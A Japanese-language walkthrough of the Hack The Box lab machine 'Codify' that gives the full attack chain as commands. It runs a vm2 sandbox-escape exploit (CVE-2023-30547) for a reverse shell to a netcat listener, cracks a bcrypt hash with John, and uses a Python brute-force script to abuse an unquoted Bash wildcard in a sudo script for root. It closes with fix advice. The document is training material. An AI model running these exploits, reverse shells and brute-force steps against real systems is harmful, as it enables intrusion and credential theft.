
Codify(Linux - Easy)のウォークスルー。vm2 RCE(CVE-2023-30547)の悪用、SQLite DBのハッシュ抽出、Johnを使用したBcryptのクラッキング、および`mysql-backup.sh`内のBashワイルドカード比較による権限昇格。
Hack The Box の Codify マシンに対する、完全なペネトレーションテストのウォークスルーと攻略記事です。
| 項目 | 値 |
|---|---|
| 名前 | Codify |
| OS | Linux |
| 難易度 | Easy |
| 主要概念 | vm2 RCE (CVE-2023-30547)、SQLite DB 列挙、Bcrypt クラッキング、Bash ワイルドカードパターンマッチングの悪用 |
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
⬇️
[CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
⬇️
[SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
⬇️
[John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
⬇️
[Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]
全 65,535 の TCP ポートを高速スキャンして、開放されたサービスを発見します:
Bash
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>
ポート 22、80、3000 に対して詳細な列挙を行います:
Bash
nmap -sVC -p 22,80,3000 <TARGET_IP>
ポート 3000 で動作している Web アプリケーションは、脆弱性のあるバージョンの Node.js vm2 サンドボックスライブラリを使用しています。
公開されているエクスプロイトリポジトリをクローンします:
Bash
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547
攻撃マシン上でローカルの Netcat リスナーを起動します:
Bash
ncat -lnvp 4444
脆弱な Web アプリケーションをターゲットにエクスプロイトを実行します:
Bash
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444
初期アクセスで取得したシェルを確認します:
Bash
whoami
Web ディレクトリ /var/www/contact に移動し、SQLite データベースを調査します:
Bash
cd /var/www/contact
ls -la
sqlite3 tickets.db
Joshua の bcrypt ハッシュを抽出します:
SQL
SELECT password FROM users WHERE username='joshua';
(CTRL + d を押して終了します)
抽出したハッシュを John the Ripper と rockyou.txt を使ってクラックします:
Bash
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Joshua のクラックした認証情報を使用して SSH で認証します:
Bash
ssh joshua@<TARGET_IP>
cat user.txt
ユーザー joshua が実行を許可されている sudo コマンドを確認します:
Bash
sudo -l
出力: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh
/opt/scripts/mysql-backup.sh を調査します:
Bash
cat /opt/scripts/mysql-backup.sh
脆弱性: このスクリプトは Bash のクォートされていないパターンマッチ ([[ $USER_PASS == $DB_PASS* ]]) を使用しています。これにより、ユーザー入力内のワイルドカード (*) を使って、実際のパスワードに対する文字単位のブルートフォース攻撃が可能になります。
root パスワードを文字単位で抽出する bruteforce.py を作成します:
Python
import string
import subprocess
all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters:
# Test password + character + wildcard (*)
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(f"Found: {password}")
break
else:
found = True
print(f"Root Password: {password}")
スクリプトを実行してパスワードを抽出します:
Bash
python3 bruteforce.py
抽出したパスワードを使用して root ユーザーのコンテキストに切り替えます:
Bash
su root
cat /root/root.txt
Node.js ライブラリのパッチ適用: vm2 (CVE-2023-30547) などの脆弱なサンドボックスライブラリを非推奨にするか、アップグレードします。
安全な Bash スクリプトの作成: 特権スクリプト内での意図しないパターンマッチやワイルドカードインジェクションを防ぐため、文字列比較演算 ([[ "$USER_PASS" == "$DB_PASS" ]]) では常に変数をクォートしてください。